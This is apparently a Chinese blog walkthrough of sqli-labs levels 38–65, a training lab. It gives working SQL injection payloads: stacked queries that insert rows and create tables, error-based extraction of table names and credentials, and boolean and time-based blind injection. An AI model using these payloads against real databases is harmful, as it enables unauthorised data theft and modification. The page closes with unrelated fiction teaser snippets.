sqli-labs(less38-less65)

在做题之前可以先参考MYSQL注入天书之stacked injection

LESS-38

本关用常用方法都可以爆出数据库信息,然而考察的不是爆出信息,而是Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
这我们构造一下:
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values(15,'less38','less38') -- +

图片.png

图片.png

然后可以发现它是两条语句都执行了的。

LESS-39

和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1
也就是数字型注入,我们可以构造以下的payload:
http://127.0.0.1/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values(16,'less39','less39') -- +

图片.png

图片.png

可见两条语句都执行了。

LESS-40

本关与前两关基本相同,错误不回显,只是对id参数进行('id')处理

LESS-41

此处与less-39是一致的,区别在于41错误不回显。所以我们盲注。
http://127.0.0.1/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(17,'less41','less41') -- +

图片.png

图片.png

注入成功

LESS-42

Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
从login.php源代码中查下信息:


图片.png

Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。
用户名可以随意填写,
密码我们可以构造进行注入。


图片.png

这里username:admin,password:c';create table less42 like users#
原sql语句为
sql="SELECT∗FROMusersWHEREusername=′username' and password='$password'";
登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#
利用stacked injection,我们成功执行创建数据表less42的语句。


图片.png

同样的利用此方式可以更新和插入数据项。

LESS-43

本关与42关的原理基本一致,我们还是看一下login.php中的password。看一下sql语句为:
sql="SELECT∗FROMusersWHEREusername=(′username') and password=('$password')";
我们可以这么构造:
username:admin
Password:c');create table less43 like users#
和42相同,不严实了。

LESS-44

本关是基于盲注的,这里盲注主要是因为没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息
我们尝试构造:
username:admin
Password:a';insert into users(id,username,password) values (18,'less44','less44')#


图片.png

图片.png

可以看到已注入成功。

LESS-45

45和43是一样的,不过45没有报错信息,所以盲注吧,构造方法和之前一样。

参考MYSQL注入天书之order by后的injection

LESS-46

从这开始,要用到order by 相关注入的知识。
本关的sql语句为sql="SELECT∗FROMusersORDERBYid";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
先了解下源代码


图片.png
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

图片.png

图片.png

从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
图片.png

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sqli-labs-master/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
图片.png

图片.png

③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入:
爆表:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
图片.png

爆列:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'))) --+
图片.png

爆值:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
图片.png

接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
图片.png

图片.png

从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
延时注入例子 :
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
尝试这两个语句可以看到明显的延时效果。

LESS-47

本关的sql语句为 sql="SELECT∗FROM users ORDER BY ′id'";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① 可以利用报错的方式进行
爆表:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
版本号:
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1'and (select * from%20(select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

图片.png

http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and (select count() from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()2))) -- +

图片.png

可以看到user()的内容,同时可以构造其他的语句进行注入。

LESS-48

本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=178)

图片.png

http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
图片.png

And后的延时注入
http://127.0.0.1/sqli-labs-master/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))

LESS-49

本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入
http://127.0.0.1/sqli-labs-master/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
有明显延时

LESS-50

本关开始进行order by stacked injection
执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。
这里我们上述用到的方法依旧是可行的。
构造:
http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create table less50 like users -- +

图片.png
图片.png

LESS-51

本关的sql语句为 sql="SELECT∗FROMusersORDERBY′id'";
我们此处要进行stacked injection,要注释掉',此处给出payload:
http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table less50 like users -- +

LESS-52

和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

LESS-53

和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

LESS-54

这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。因为已经知道了数据库名字叫做challenges,所以我们需要知道表名。

图片.png

已经得到表名为zh202gsitv(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='zh202gsitv' --+
图片.png

我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在secret_DZ1Q列中,所以我们直接查看该列的内容
图片.png

得到:L6zOyIj2m8V1qs8KkExPbOrE,然后提交。

LESS-55

本关的sql语句为:
sql="SELECT∗FROMsecurity.usersWHEREid=(id) LIMIT 0,1";
其余和less54是一样的,所以我们将上述的语句前添加 ) 即可,但是这里要求次数为14次。

LESS-56

与less54.55形式是一致的,我们关注sql语句,
sql="SELECT∗FROMsecurity.usersWHEREid=(′id') LIMIT 0,1";

LESS-57

图片.png

" " 的处理,所以此处我们构造的payload要进行 "" 的处理

LESS-58

执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。
http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'))) --+

图片.png

http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='yo3l18wb5k'))) --+
图片.png

http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(secret_IOPS) from challenges.yo3l18wb5k))) --+
图片.png

key:0PZNM6TefSE4eqLlV6lIzZyl 然后提交。

LESS-59

和58题相同,不过id数字型注入

LESS-60

与上题也想同,对id参数进行("")处理

LESS-61

此处对于id处理,利用两层括号。形式和上述是一样的

LESS-62

此处union和报错注入都已经失效了,那我们就要使用延时注入了。
http://127.0.0.1/sqli-labs-master/Less-62/?id=1' and If(ascii(substr((select group_concat(table_coulmn) from information_schema.coulmns where table_schema='challenges'),1,1))=79,0,sleep(10))--+
当正确的时候时间很短,当错误的时候时间大于10秒

LESS-63

这题和62一样,我们只需要看到sql语句上
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
方法与62一样

LESS-64

此处的sql语句为
sql="SELECT∗FROMsecurity.usersWHEREid=((id)) LIMIT 0,1";
此处对id参数进行了处理,不过还是延时注入,和上题相似

LESS-65

$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
此处对id进行了 “” () 的处理,构造payload时还是使用延时注入。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,294评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,493评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,790评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,595评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,718评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,906评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,053评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,797评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,250评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,570评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,711评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,388评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,018评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,796评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,023评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,461评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,595评论 2 350

推荐阅读更多精彩内容